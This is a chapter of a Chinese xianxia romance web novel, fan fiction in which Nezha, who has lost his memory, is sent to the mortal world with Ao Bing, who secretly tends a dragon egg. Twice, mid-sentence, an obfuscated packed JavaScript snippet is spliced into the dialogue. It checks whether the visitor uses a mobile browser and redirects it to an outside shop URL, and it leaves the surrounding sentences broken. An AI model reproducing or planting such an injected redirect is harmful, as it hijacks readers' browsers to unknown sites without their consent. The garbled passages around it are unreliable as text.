哪吒醒来,意识还未完全清明,先发觉了怀中的温软。有人蜷在他臂弯里,银发散了他满臂。冰蓝色的龙角如玉雕就,抵在了哪吒下颌,几乎触及唇畔。 混天绫如蛇似蛟,将两人缠缚在一处,末端还打了个精巧的结。 “……” 哪吒额角突突直跳。 又是这孽障作祟。 五百年前他重伤沉睡,醒来不过数日,混天绫却屡屡失控。昨日蟠桃宴上,这绫缎也是如脱缰野马,硬拽着他往瑶池偏殿去,途中还甩了他几记狠的。 力道大极了,简直像在抽打不听话的坐骑。 哪吒本醉得昏沉,却也被勾得起了疑心:混天绫为何突然犯浑?于是半推半就闯入偏殿,谁料…… 谁料被美色所惑,做了唐突之事。 哪吒垂眸看向怀中人。 敖丙睡颜沉静,银睫如蝶栖。这张脸极美,堪称千年未见的好颜色,清冷似深海月,让人禁不住想拢在掌心。 哪吒昨日提亲虽有醉意,却并非全无真心。 现在他拥着这人也不觉后悔,反而生出些莫名的眷恋。 怀中人忽地一动。 敖丙悠悠转醒,凤眸初睁犹沁着水光,待看清眼前的景象,那点水光霎时凝成了冰:“元帅可否松手?” 哪吒这才惊觉自己仍箍着对方,忙收回手臂。心念急转,他又命令混天绫松了缠绕。 “昨夜,”敖丙坐起身,理了理散乱的衣襟,“本是想寻元帅议事。龙族自被夺去布雨之权,日渐衰微,难得有机会与元帅这般高位神将相交。” “不料元帅已歇下,正欲离去,却被尊驾的法宝拦住了。” 这话说得滴水不漏,既解释了自己为何夜半出现在客殿,又将所有事情归咎于混天绫。 “混天绫平日……不这般。”哪吒干巴巴道,目光却不由自主地追随敖丙整理衣袖的手。 手指纤长,染了淡淡桃色。昨日便是这只手,为他拈去发间的落花。 哪吒醒来后记忆全失,昆仑师兄弟与天庭诸友对他从前的事情皆语焉不详,只道他乃伐纣先行官,肉身成圣,至于细处俱是三缄其口。 如今想来,混天绫怕是早察觉了什么。 这法宝向来随他,性情桀骜,连他这个主人时常都不放在眼里,更遑论亲近他人。可昨日混天绫先是追着敖丙去了偏殿,昨夜又…… 哪吒想,他与东海龙王定有过往。 两人一时无话。 哪吒看着敖丙扶正衣冠,对方后颈处隐约有一道旧痕,像箭伤又似刀疤,颜色极淡,若非神目难以察觉。 “若无他事,小仙先行告退。” “等等。”哪吒脱口而出。 敖丙驻足,却没有回头。 “本帅……”哪吒不知该说什么,只觉不能让这人直接离去,“想在东海多留几日。” 4. 正宫 “元帅请便。只是东海简陋,恐怠慢了神驾。” 敖丙心事重重地告辞,从客殿离开。 冒险下药终究功亏一篑。混天绫护主,他近不得身,更不必说取血之事。如今哪吒已起了疑心,他再下手怕是难上加难。 而且他昨日擅赴蟠桃宴,又引得哪吒亲至东海,天帝岂会不知? 思忖间,虾兵已疾步来报。 “陛下。天庭传旨,宣您即刻赴凌霄殿觐见!” 果然来了。 敖丙命人传话给哪吒,只说天庭急召去去就回,实则他心中明了。 这一去,未必能轻易归来。 - 凌霄殿。 白玉阶九千级,天兵金甲煌煌。昊天上帝坐于金乌宝座,冕旒垂珠遮掩了面容,面容隐在霭霭瑞气后。 “东海龙王。” “臣在。”敖丙躬身。 “封神战毕,孤收回四海布雨之权,令龙族安居深海,本意是不愿尔等再卷入上重天纷争。”天帝眉峰一凛,声音冷下来,“昨日你擅离东海赴会,又留宿中坛元帅于龙宫……可知此举不妥?” “臣知罪。”敖丙跪伏殿前,答道。 殿内威压骤重。 “臣与中坛元帅只是偶遇。”敖丙有些紧张,暗自绷直了脊背,“元帅醉酒误入偏殿,不慎冲撞了臣,仅此而已。还望陛下明鉴。” 良久,天帝轻叹一声。 “过往不可追,你既为东海之主,也该往前看,开始新生活了。” “如今人间灾祸频生,妖邪作乱。孤命你下凡处理聊斋异事,积攒功德,或可为你龙族谋一线转机。” 下凡? 敖丙抿唇,一颗心沉了下去。 这差事说重不重,说轻不轻,却是个暂且避开天庭耳目的机会。 不过神官下凡历练,向来需有监察官同行,名为协助,实为监视,以防私纵妖邪或干预凡尘过甚。 “臣领旨。” “去吧。”天帝摆手,“御花园中,监察官已在候你。” - 御花园内花竞放,仙葩吐蕊。 敖丙踏着云径踱步,心中思虑万千。他抬手遮了遮天光,在心中嘀咕。 过往不可追。 新生活。 天帝未提哪吒,字字却指向哪吒。 人间灾祸什么的怕是借口,天帝不过是想将他支得远远的,免得再与哪吒有所牵扯。 敖丙转过一片灼灼桃林,花团锦簇间,立着个红衣少年。 那人约莫十六七岁模样,扎着两个圆髻,以红绳系了,眉心一点朱砂痣灼灼如血。他身着绣火莲纹的红色劲装,腰间缠着混天绫,正在逗弄池中的锦鲤。 似是察觉到敖丙的目光,少年眉眼弯弯地直起身来:“敖丙,等你好久了。” 敖丙怔在原地。 怎么会是少年本相的哪吒? “下凡禁用法术,这模样方便。”哪吒走近,身量比青年神相矮了一头,却仍比敖丙高上许多,“怎么,认不出本帅了?” 敖丙说不出话。 不是认不出,是太熟悉了。 封神之战,敖丙被黄天化所擒,双手双脚戴着禁灵镣铐,踉跄行于周营。一行人途经校场的时候,敖丙听到了周兵的哄笑,如针如芒在背。 “截教妖龙,不过如此。” “瞧那弱不禁风的模样!” …… 敖丙脚步虚浮,连日受刑早已力竭,一个踉跄便向前扑倒。 尘土飞扬间,他下意识闭上了眼睛。敖丙摔得极重,掌心、膝骨剧痛,正要撑身起来,却听到破空的锐响。 “咻——!” 一支翎羽箭破空而来,擦着他的脸颊飞过,削去了几根银发。那只箭最后直直射穿了靶心,将整面靶子击碎后,径直往远方去,再看不见踪迹。 敖丙满脸惊愕地抬头。 只见不远处,红衣少年收弓而立。见敖丙望来,那少年几步跃至跟前,弯下腰,视线和敖丙齐平。 少年面容偏女气,五官生的钟灵毓秀,笑起来时颊边还有浅浅梨涡。 “新来的俘虏?”少年两指捏起敖丙的下巴,左右端详,“总算不是长相奇特的丑八怪了。” 是哪吒。 尚未成圣、尚未与他纠缠半生的哪吒。 …… 风过花海,千枝摇曳。 “敖丙?”哪吒伸手在他眼前晃了晃,“发什么呆?” 敖丙骤然回神。 御花园仙葩依旧,眼前的少年意气风发。千年光阴弹指过,故人依旧是记忆中的模样,他却已沧海桑田,连真心都不敢露一分。 哪吒笑容不减,打趣道:“怎么,龙王不愿与本帅同行?” “不敢。”敖丙已恢复成平常的状态,“只是想起一些旧事。话说元帅怎会在此?” “我是你的监察官啊。”哪吒挑眉,理所当然地回答,“天帝命我随你下凡,监督……呃,协助你处理人间异事。” 敖丙作揖,“有劳元帅。” “别元帅元帅的,听着生分。”哪吒凑近些,金瞳因少年相化作普通的黑眸,却依旧清亮,“下凡期间,唤我哪吒便是。” “……”敖丙噤了声。 哪吒打量着敖丙,忽然笑起来:“说来也怪,我总觉得我们不是第一次见。” 敖丙故作淡然,道:“元帅说笑了。” “是吗?”哪吒歪头,面上闪过几分困惑,旋即又明朗起来,“罢了,日后相处久了,自然熟络。” “走吧,敖丙。”他大踏步向东走去,红袍在花间翻飞,“人间烟火可比天庭有趣多了。” 敖丙望着渐远的少年,仿佛看见千年前周营中,哪吒也是这样转身,又笑着唤他,“跟不跟我走?” 落英拂过他的眼睫,敖丙一时恍惚起来,分不清今夕何夕、此地何地。 “敖丙。” 哪吒又唤了一声,唇角噙着笑,朝他伸出手。 那手掌白皙,掌纹分外清晰,有常年握枪执圈留下的薄茧,隐约可见青色血脉在薄皮下蜿蜒。 千年前,也是这只手,在敖丙被俘后第一次为他打开囚笼。 时光在此打了个旋儿,将一切的一切都暂时卷走了。只剩眼前人红衣烈烈,朝他伸出手。 敖丙这般看着,鬼使神差地将自己的右手放了上去。 指尖相触,两人皆是一颤。 哪吒眉梢讶异地挑起,他本意是要取敖丙手中的卷轴,未料对方误会了意思。然而哪吒并未松开,反倒就着这姿势,长臂一伸,取走了对方左手中垂握的卷轴。 那是天帝刚赐下的金旨。 “本帅只是想做个登记,”哪吒捏了捏敖丙的指尖,他笑得促狭,“龙王这是何意?” “……” 敖丙如梦初醒,猛地抽回手,像被烫着一般背到身后:“抱歉,是小仙失态了。” 哪吒也不追问,只含笑展开卷轴。金旨上文字浮光流转,下方“监察官”后尚是空白。他并指为笔,凌空虚划—— 李、哪、吒。 三字铁画银钩,笔锋凌厉如枪,最后一捺划出战场杀伐气。墨迹在空中飘飘荡荡,似有灵性般沉降,最后印入卷轴空白处。 签名既成,意味着此次下凡任务的监察关系正式确立。 然而敖丙仍是那副魂不守舍的模样,银发沾了几片桃花瓣,也浑然不觉,兀自望着虚空某处。 哪吒抬眼,想逗弄几句难得失态的东海龙王。 “敖……” “哪吒——!” 一声呼喊自桃林深处传来,打断了哪吒将出口的话。 只见一道墨蓝身影穿过花树,金瞳灿亮,发带飞扬,正是雷震子。他本兴冲冲扑来,却在看清哪吒身旁之人后,猛地刹住了脚步。 随后的杨戬见雷震子僵住,顺着视线望去—— 御花园的桃花开得正盛,风一吹粉云叠浪,碧衣龙君静静立在花下。 杨戬手一抖,折扇“啪”地合拢了。 哪吒皱眉,视线在三人之间转了个来回。 “你们认识?” 不仅认识,兴许还有着某种他不记得的过往。 敖丙立在一片飞花中,袖中手指已掐入掌心,以维持着最后的清醒。 千年了。 这些人的眼神都未曾改变。 改变的只有他。 从截教龙太子到阶下囚,到如今的东海龙王。从与哪吒并肩而立,到如今相见不识。从拥有一切,到只剩一颗无法孵化的蛋和这副日渐衰弱的躯壳。 “二位将军。”敖丙颔首,“久违。” 雷震子干咳了几声,勉强扯出个笑:“……东海龙王。” 杨戬眸光深敛:“龙王今日怎在此处?” 清源妙道真君一袭月白常服,额间天眼以银纹遮掩,手持折扇,翩翩公子模样。 对上他的目光,敖丙袖中的手不自觉地收紧。 千年前,杨戬奉命看守被俘的他,偶尔也会露出这样的神情。那时这位真君说:“敖丙,你不该来周营。” 不该遇见哪吒。 不该动情。 不该落到今日这般田地。 或许隔了太久的时光,敖丙已经不记得当初自己的心情了,于是现在也能坦然地回答:“奉天帝旨意,下凡处理人间异事。中坛元帅为监察官,同行督责。” 这话一出,雷震子和杨戬对视一眼,皆从对方眼中看到了惊疑。 天帝竟让哪吒与敖丙同行? “既然都遇上了,”哪吒似浑然不觉凝滞的气氛,将卷轴往怀中一揣,笑道,“不如一同走走?正好,本帅与龙王奉命下凡处理聊斋异事,二位若有闲,不妨说说人间近况?” 雷震子嘴角抽搐,总算找回了自己的声音:“下、下凡?你们俩?” “天帝亲旨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117028|195932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”哪吒扬了扬手中金旨,“怎么,二位有异议?” 雷震子还想说什么,却被杨戬一个眼神制止了。清源妙道真君上前半步:“既是天帝旨意,便请二位谨慎行事。三太子初愈,人间不比天庭,万事当心。” 风又起,吹落更多桃花,可四人之间却像隔了千年的冰雪。 敖丙几乎喘不过气,杨戬和雷震子的出现搅得他心乱如麻。可他暂时顾不得这些,天帝金旨已下,下凡之事迫在眉睫,更紧要的是那颗龙蛋。 带,还是不带? 他虽少涉人间,却也知“聊斋”二字背后是何等凶险:魑魅魍魉,妖邪丛生,那些志怪故事里轻描淡写的一笔,实是血淋淋的生死场。 此去经年不知归期,龙宫能托龟丞相暂理,可孩子呢? 那颗以他精血喂养五百年的粉色龙蛋,离了他生机就会日渐衰弱。若是带去人间,风险更大:一则需时刻隐藏,二则人间浊气恐伤蛋中幼灵,三则可能被哪吒察觉。 而且两位兄长若知他受命离海,又发现龙蛋的存在…… 敖丙不敢再想。 “元帅,”敖丙忽地开口,“下凡之事,小仙需回东海略作打点。不如各自准备,明日南天门汇合,这样可好?” 哪吒本来打量着杨戬和雷震子古怪的神色,闻言转头:“你要回东海?” “是。”敖丙避开他的视线,“龙宫虽陋,终究有些琐事需交代。” “也好。那明日辰时,南天门见。” “告辞。” 待敖丙走了,雷震子才解开定身咒般,猛地抓住了哪吒手臂:“你怎么和敖丙搅在一起了?还要一同下凡?!” 哪吒被他扯得一个趔趄,没好气地甩开,将昨日瑶池偏殿之事简略说了。他略去那些难堪细节,只道自己唐突之下见了人家身子,便去东海提亲负责。 “提、提亲?!”雷震子金瞳瞪得滚圆,活像庙宇门檐上那对铜铃,“你疯了?你知道他是谁吗?!” 哪吒挑眉:“东海龙王敖丙。怎么了?” 雷震子绕着哪吒转了两圈,上下打量:“昨日偏殿之事,或许真是误会。但提亲……哪吒,你我当年在周营同吃同住,赤着膀子比武练兵时,也没见你要对谁负责啊?怎么昏睡了五百年,你倒睡出礼数来了?” 闻言,旁边的杨戬冷笑一声。 哪吒转头看去,只见清源妙道真君负手而立,总是八风不动的脸上浮着几分讥诮。 “你笑什么?”哪吒眯起黑眸。 杨戬淡淡道:“没什么。” 哪吒心头那股怪异感愈盛,他盯着眼前这两位千年战友:“本帅也不知为何。只是见着他便觉得该如此。像是…一见钟情。” 四字出口,他自己先怔了怔。 这般酸腐文绉的词居然是从他李哪吒口中说出的? “……” 雷震子与杨戬对视一眼,都在对方眼中看到无奈。 几息后,雷震子像是下定了决心,压低声音道:“哪吒,有件事你需知晓。敖丙他……已有孩子了。” 御花园里,静得只剩风声。 哪吒脸上的表情空白了一瞬,他像是没听清,又像是听清了却无法理解,只是死死盯着雷震子:“你说什么?” “孩子。”雷震子硬着头皮重复,“敖丙育有一子,尚未孵化。” 春心碎了一地,噼里啪啦。 半晌,哪吒才缓过神来,眼中的光强自燃起:“那又如何?敖丙身为东海龙王,有子嗣再正常不过。本帅既心悦他,自会视孩子如己出。” “不行!”雷震子豁出去了,“敖丙未成婚,却育有一子,那颗龙蛋……” 哪吒眼睛一亮:“那更好了!” 雷震子和杨戬齐齐看他。 “以本帅身份,才不要做什么侧室。”哪吒说得理所当然,仿佛这事已板上钉钉,“既是未成婚,本帅定是正宫之位。而且敖丙没给那人名分,本帅也不算夺人所爱。” 说罢,他甚至还好奇地追问:“话说,孩子的母亲是谁?” 雷震子瞬间哑巴了,他眼神飘忽,嘴唇嚅嗫,求助般望向杨戬。 杨戬接受到讯号,在雷震子惊恐的眼神下,平静地答:“死了。” 二字炸在哪吒耳畔。 死了。 所以敖丙是寡居?所以孩子一出生便没了母亲? 电光石火间,他想通了。 死了就是过去了,既已过去,便该有新始。敖丙还年轻,龙族式微,他独自带着孩子,不知要受多少委屈。 不如由他来。 由他来照顾敖丙,照顾孩子,照顾这个破碎的家。他是三坛海会大神,莲藕化身不老不死,有无尽光阴和滔天权柄来护他们周全。 “如此……”哪吒缓缓开口,声音里带着自己都未察觉的郑重,“本帅更要好生待他。逝者已矣,生者当惜。敖丙既独力抚养幼子,本帅便替他撑起这片天。” 5. 继父 哪吒说得认真,眼底甚至有几分跃跃欲试的光芒,仿佛已在筹划如何做一个好继父。 雷震子和杨戬对视一眼,双双沉默。 雷震子低头盯着自己鞋尖,好像上面的绣纹变得极有趣。杨戬抬眼望天,整张脸绷得死紧。 “等一等,你们……”哪吒察觉到异样,神色凛然,“为何如此了解敖丙的事?” 雷震子肩膀抖了抖。 杨戬依旧不语。 恰在此时,哪吒腰间的传讯玉佩荧荧亮起——太乙真人邀他即刻往乾元山一叙。 “师、师叔唤你!”雷震子如蒙大赦,忙不迭推他,“快去快去,别让师叔久等了!” 杨戬也道:“三太子既有师命,便速往吧。” 两人一唱一和,抛掉什么烫手山芋般,急急催他离开。 哪吒狐疑地看了他们一眼,终究将满腹疑问压下,只道:“明日下凡之事——” “知道知道!”雷震子连连摆手,“南天门辰时,我们……呃,我们会去送行!” 哪吒握着发烫的玉佩,看着眼前两位躲闪的眼神,心里愈发疑惑。可师命难违,他终是驾轮而起。 待哪吒消失在云霭中,雷震子才长舒一口气,整个人几乎瘫坐在花坛边。 “二哥,”他声音发苦,“这事瞒到何时是个头?” “五百年前他选择了遗忘,这一切便已成定局。”杨戬转身,衣袂拂过云气,“万般皆是天意。走吧,此事你我都插不了手。” 有些东西终究是拦不住的。 就像深冬的种子,即使冰封再久,春风一吹仍会破土而出。 无论天上人间。 - 水晶宫正殿。 珊瑚为林珠作月,只是伪装的富贵气象,终是掩不住门庭冷落之实。 龟丞相候在宫门外,见敖丙归来,忙颤巍巍迎上。他望见那卷灿金的天旨,心头咯噔一声:“陛下,天庭召见所为何事?” “天帝旨意。”敖丙将金旨递出,“命我下凡处理聊斋异事,不日启程。” 龟丞相眯着眼凑近,待看清“聊斋”、“封神榜”、“监察官李哪吒”几行字后勃然变色,“不可,殿下万万不可!” “哪吒与殿下冤孽未清,你们如今再纠缠在一处,岂不是要剜了老臣的心肝?况且龙族如今如履薄冰,怎可再涉人间纷乱?聊斋异事涉及妖魔精怪,可谓凶险异常,殿下您如今的身子——” 话音戛然而止。 敖丙静静看着龟丞相将剩下的话咽回腹中,看着那双苍老眼中满含怨怼。 是了,怎能不怨? 若非他当年执迷不悟,引那煞星入局,龙族何至于连施雨权都失了,沦落为天庭眼中的普通神兽? 万般皆由他起,旁人怨他亦是该得的。 “丞相,这是天帝亲旨。”敖丙再次提醒。 龟丞相别过脸去,用袖口重重抹了把眼睛:“殿下,您叫老臣如何向陛下交代啊……” 敖丙知道,龟丞相心中所谓的“陛下”唯有敖光。千年来,这位三朝老臣守着东海,等的盼的,始终是那位真正的龙王归来。 而他,不过是个占着虚位的罪人。 敖丙抬眸,望向宫殿的幽暗长廊。通往深海极渊的路寒气透骨,连巡海夜叉都不敢轻易靠近。 而敖光就在那里,以龙脊撑起东海安宁,镇压着龙族最后的气运。 “我想……”敖丙犹豫了会儿,将喉间酸涩咽下,“去极渊见见父王。” “不可!”龟丞相急急打断,抹去眼泪,语气软了下来,“极渊深处寒煞蚀骨,殿下的身子如何受得住?东海可以没有龙王,但是那孩子不能没有爹爹。” 这话说得恳切,可敖丙听出了言外之意。东海的王在极渊,而他不过是孩子的父亲罢了。 “既如此,便不去了。”敖丙点点头,不再坚持,将话题转到了龙蛋上,“烦请丞相准备下凡事宜……我想带着那孩子。” 龟丞相身形一僵。 片刻,他面上浮现出痛色:“殿下真要带他下凡?人间浊气深重,恐对龙胎不利。” “留他在宫中,我更不放心。”敖丙顿了顿,“何况两位兄长若察觉,恐生事端。” 想起敖甲火爆的性子,龟丞相沉默了。许久,他才走向殿侧暗格,取出一物。 莹白的贝壳巴掌大小,天然生着螺旋纹路。 “库房里还有这‘蕴灵贝’,”老臣将贝壳捧到敖丙面前,“乃上古鲛人族遗物,能聚灵气、护生机。殿下下凡不得擅用法术,若遇险境,可将龙蛋置于其中,至少能保一时平安。” 敖丙接过贝壳。 触手温润,内里空间比看上去大许多,铺着柔软的海藻绒。 “多谢。”他轻声道。 “殿下,”老龟佝偻着背脊,眼中尽是恳求,“务必保重己身。龙蛋虽重,不及殿下万一。” 敖丙怔然。 原来这老臣,也并非全然不在意他。 …… 敖丙回了寝殿,将龙蛋小心翼翼捧出。 “爹爹要带你下凡一趟。莫怕,万事有爹爹在。” 龙蛋表面莹光流转,似懂非懂地亮了亮。 敖丙雪睫垂下,掩住眸中复杂的神色,续道:“你父亲也在。” 龙蛋骤然一颤。 “嘘,莫要激动。”敖丙急忙以掌心覆住,试图掩盖亮起的光,“届时不可表现得太过亲近,不可让他察觉端倪。毕竟你父亲……并不喜欢我们。” 这话说出口,心口一阵抽疼。 不喜欢。 何止是不喜欢?那人连他是谁都忘了。 龙蛋光华黯下去,热度也降了些,像是在难过。 “所以乖乖的,莫惹事,好么?”敖丙眼眶发热,却强笑着凑近蛋壳,“爹爹只要你平安,平安就好。” 话音落,冰刃再现,他毫不犹豫地划破了腕脉。 敖丙将手凑到龙蛋旁,血珠滴落,一颗、两颗……粉莹莹似初绽桃蕊,蛋壳上水纹隐约,内里蜷着的小小身影轮廓模糊可见。 喂罢血,敖丙已唇色尽失。他轻手轻脚地将龙蛋放入蕴灵贝,再用那件哪吒留下的红袍裹住。 做完这一切,他抱着贝壳,缓缓哼起歌。 这首摇篮曲早已失传,只剩零碎的曲调在龙族间相传。敖丙小声哼着,眼中水光渐聚。 “啪嗒。” 一滴泪毫无预兆地落下,砸在蕴灵贝的壳面上。 敖丙强忍着哽咽,将脸埋进了红袍里。 袍子上染了海潮的气息,那点莲火香早已一丝不剩了。 这样也好。 - 乾元山,金光洞府。 碧游床上太乙真人静坐着,鹤氅垂地,拂尘搭在臂弯。忽闻洞外金霞童子来报:“师父,师兄到了。” 太乙睁眼:“引至客殿,备三杯酒。” 苍松叠翠,怪石嶙峋,殿前悬一道飞瀑,水声潺潺似鸣佩环。哪吒跨过石槛,先见到的是那三杯酒。 玉盏整齐列在案上,酒液澄金。 哪吒昨夜宿醉未全消,见此阵仗,太阳穴突突跳起来:“师父这是何意?莫不是又要灌徒儿?” 太乙真人从内室步出,在对面蒲团落座。 “当年封神之战,你中了余化的化血刀,奄奄一息被师弟抬回金光洞。伤愈后你执意再下山应敌,为师便效仿玉虚宫掌教天尊赠姜子牙三杯酒,也赠了你三杯。” 哪吒愣了瞬。 那段记忆于他而言已是模糊碎片,只依稀记得洞中的莲香。 “如今你自请下凡,处理聊斋异事。此去祸福难料,为师再赠你三盏酒吧。” 哪吒闻言,面上掠过几分赧然。 原来师父都知道了。 今晨知敖丙匆匆离了水晶宫,他本欲追问,却瞥见龟丞相神色张皇,便假托有事折返天庭。因赶时间,他转道去了南天门。任务司前围了不少神官,对着新张贴的告示议论纷纷。 哪吒心下疑惑,于是挤进人群,看清了榜上的内容。 “聊斋异事巡查使”招募随行监察官,功德三千,赐仙丹三枚。 往下细看,方知“聊斋异事”与封神榜遗祸有关。当年榜上无名或心怀怨怼的妖灵精怪流落人间作乱,已成祸患……而接任巡查使的神官赫然是敖丙。 哪吒几乎未作犹豫,伸手就揭了榜。 四周哗然。 有相熟的神官慌忙阻拦,“三太子三思!龙族如今处境尴尬,此事沾了便是麻烦。” “是啊,封神旧事牵扯太多,避之尚且不及……” “东海龙王更需慎待,当年他——” 哪吒充耳不闻。 封神之战他是先行官,这潭水他早已趟过。何况这个任务涉及到敖丙,就像是某种宿命推着他。 揭榜、领命、按旨意往御花园等候,一切顺理成章。只是未料师父消息如此灵通,转眼召他回山。 “徒儿知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117029|195932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错。”哪吒在对面坐下,姿态却无半分认错模样,反倒笑嘻嘻的,“师父都知道了?” 太乙真人执起一杯酒:“蟠桃宴上,你冒犯的是敖丙?” “是。” “去东海作甚?” “提亲。” “噗——咳咳咳!” 太乙真人一口酒呛在喉间,连咳数声,雪白须髯都沾了酒渍。他瞪着眼看向徒儿,像是头一次认识这个从小养到大的弟子:“你说什么?” 哪吒神色坦然,蕴藏少年谈及心上人的羞赧:“徒儿有些…喜欢他。” “胡闹!”太乙重重搁下酒杯,“龙族阴险狡诈之名传遍三界,你就不疑他别有用心?” “图谋什么?”哪吒满脸写着不以为然,“我堂堂通天太师、威灵显赫大将军,位尊权重。敖丙即使真有所图也要掂量掂量,若徒儿出事,东海龙族岂能脱得了干系?” 太乙真人饮尽杯中残酒:“看来你已知他下药之事。” 哪吒闻言,指骨在杯沿轻轻一叩。 “太明显了。”他笑了笑,那笑里却无半分恼怒,“无论是粥中药量,还是事后莫名其妙的困意。师父,您徒儿征战多年,若连这点把戏都看不出,早死在战场上了。” “你不介意?” “这有什么?”哪吒执起一杯酒,仰头饮尽。酒入喉肠,却无当年灼热的血气,反化作清流涤荡灵台,“不痛不痒的小花招罢了。他若真想害我,何不下毒?既用安神散便是不愿伤我。” 太乙盯着徒儿看了许久,才一字一句道:“可他心怀不轨是事实。” “巧了,”哪吒又饮一杯,“徒儿也心怀不轨。我想当他孩子的继父,替他撑起东海门户。” “……” 太乙真人默默放下刚执起的酒。 他不敢喝了,只怕再喝一口,又要呛得死去活来。 师徒二人对坐,客殿内只闻洞外松涛阵阵。许久,真人长叹一声,自袖中取出一物。 那是个紫金木盒,约臂长,盒面绣着云雷夔纹,古奥难辨。 “此为何物?”哪吒接过,入手沉甸甸的。 “昔年三杯酒,我赠你三枚火枣,助你得了三头八臂的神通。此番你再入红尘,为师自然也要赠你一件礼物。” 哪吒好奇心起,当即就要打开。 “且慢。”太乙真人摇头,“时机未到。” 哪吒素来性急,闻言反生逆意,心想:我命由我不由天,区区一个盒子,岂有打不开之理? 他指腹用力,盒盖应声而启。 哪吒正欲向师父显摆,下一秒,笑容却僵在了脸上。 盒中并无奇珍,唯有一个更小一号的紫金盒,纹路符文与手中这只一般无二,只是小了整圈。 他不信邪,取出小盒再开。 又是一个更小的。 再开,再小。 如此连开七次,盒子从臂长渐缩至掌大,竟仍是盒中有盒,层层相套,如人间巧匠做的套盒玩具,不知最深处藏着什么玄机。 哪吒额角青筋跳了跳,腹诽这简直如凡间套娃戏法,分明是师父故意耍他。 可他终究停了手。 既知此物紧要,师父又不愿他提前知晓,强求反倒不美。 “罢了罢了,”哪吒将那叠套盒收回怀中,悻悻道,“待需要时再开便是。” “饮尽三杯,便去吧。”太乙真人深深看他一眼,眼中情绪复杂难辨,“下凡之事,宜早不宜迟。” 哪吒也不推辞,执起另外两杯酒,一饮而尽。第二杯温醇,第三杯回甘。三杯尽,并无神通增益之感,只觉灵台清明。 “多谢师父赐酒。”哪吒起身行礼,“徒儿这便回云楼宫收拾行装,明日即与敖丙汇合下凡。” “哪吒。”太乙忽然唤他。 少年回首。 老道坐在光影交界处,面容半明半晦,“若有一日,你发现一切并非如你所想,莫要恨为师。” 哪吒怔了怔,随即灿然一笑:“师父你说什么呢!徒儿去了!” 太乙独坐殿中,望着哪吒消失的背影,又看向案上三只空杯:“痴儿……若知道真相了,你待如何?” 无人应答。 洞外金光万道,一如千年前少年哪吒脚踏风火轮,枪挑四海,不知愁为何物。 太乙真人闭目,指间捻算天机,却只算得大片的混沌。 劫已至,避无可避。 唯愿三杯酒,能护他几分周全罢。 6. 龙蛋 寅末卯初,海天交界处现出一抹蟹壳青。 “今日离了水晶宫,得随爹爹往人间走一遭。” 言语间敖丙已将几件衣衫并些细软打点入囊,最底下压着那件红袍—— 他舍不得离身。 敖丙特意嘱咐龟丞相,务必瞒住敖甲、敖乙。若兄长们知晓他要和哪吒同下凡间,恐怕会闹上九重天。 如今天庭处理龙族如碾死一只蚂蚁,怎能让兄长们为他行那螳臂当车之事? 临行前,敖丙被人拦在了廊下。 侍仆覆了张银质面具,双手捧着厚厚的物事。 澄金的符纸裁得方正整齐,最上层朱痕犹湿着。总体摞起来有尺余高,沉甸甸如一方金砖。 “陛下。”侍仆躬身,将符箓奉上。 “给我这个做什么?”敖丙眼睫颤了颤。 “陛下此去凡间,天庭必会给您下封印法术。这些符箓虽算不得什么上乘法宝,到底能防身护体。”侍仆注视着那叠符箓,柔声劝道,“带着,总归安稳些。” “天庭自有规制,我既领旨便不会违逆。” “是吗?” 敖丙身着碧荷色的长袍,银发高束成马尾。他抱着团鹅黄色绒毯,将其裹得严密、紧实,以遮盖那片柔嫩的粉—— 龙蛋。 敖丙不敢用法术或仙宝隐藏龙蛋,怕伤及胎儿的灵蕴,所以贴身抱着相护。 “如果遇到险境,陛下是守规矩还是护他?”侍仆压低了声音,话语只有两人可以听见,“那些高高在上的神仙眼里只有天道和因果,谁会在意一只不该存在的龙子?” 敖丙沉默了。 曦光滤成迷蒙的蓝,落在他的脸上。许久,敖丙才说:“我自有分寸。” “好。”侍仆逼近几步,将符箓强硬地塞进龙君的储物囊,“陛下定要珍重身体,莫教海底那位寒心……东海也等您归来。” 这话说得隐晦,敖丙却知道对方意指敖光。他心头一酸:“我知道。” - 辰时将尽,日轮将云海染成金红。 敖丙抱着龙蛋匆匆赶往任务司,他刚才和侍仆说话耽搁了时辰,又因带着龙蛋无法驾云疾行,最终误了约定的时间。 所幸此刻尚早,司内没有多少神官。 敖丙整理好怀中的绒毯,小心翼翼地踏入司殿庭院。 院内琼花正盛,玉树墨枝上缀满了莹白。几名仙童穿梭其间,手持簿册忙着登记事务。 庭院东北角,立着道醒目的红。 哪吒今日换了身红色劲装,不是战袍制式偏日常,衣料上以金线银丝绣满莲、火纹,日光一照而流光溢彩。 两个发髻各缀金莲小饰,莲心嵌了流苏,随着动作簌簌的响。 哪吒面前站着名掌印仙童,那童子手掐法诀,口中念念有词。黑色光焰凝成符文,首尾相连织成一道紧箍,扣上了哪吒的腕骨。 禁仙咒。 下凡者皆需封印法力,以防干预人间因果。此咒加身,任是大罗金仙也只能动用肉身之力,与凡人无异—— 除非任务完成或遇性命之危否则绝难解除。 哪吒全程面无表情。 他垂着眼,看黑色符文一寸寸嵌入皮肤,周身散发着生人勿近的气息。 这副模样才符合中坛元帅的威名,掌杀戮征伐,背负一千七百杀戒,枪下亡魂可填忘川。 待禁咒落定的刹那,哪吒似有所感,抬眼看到了庭院另一端的敖丙。 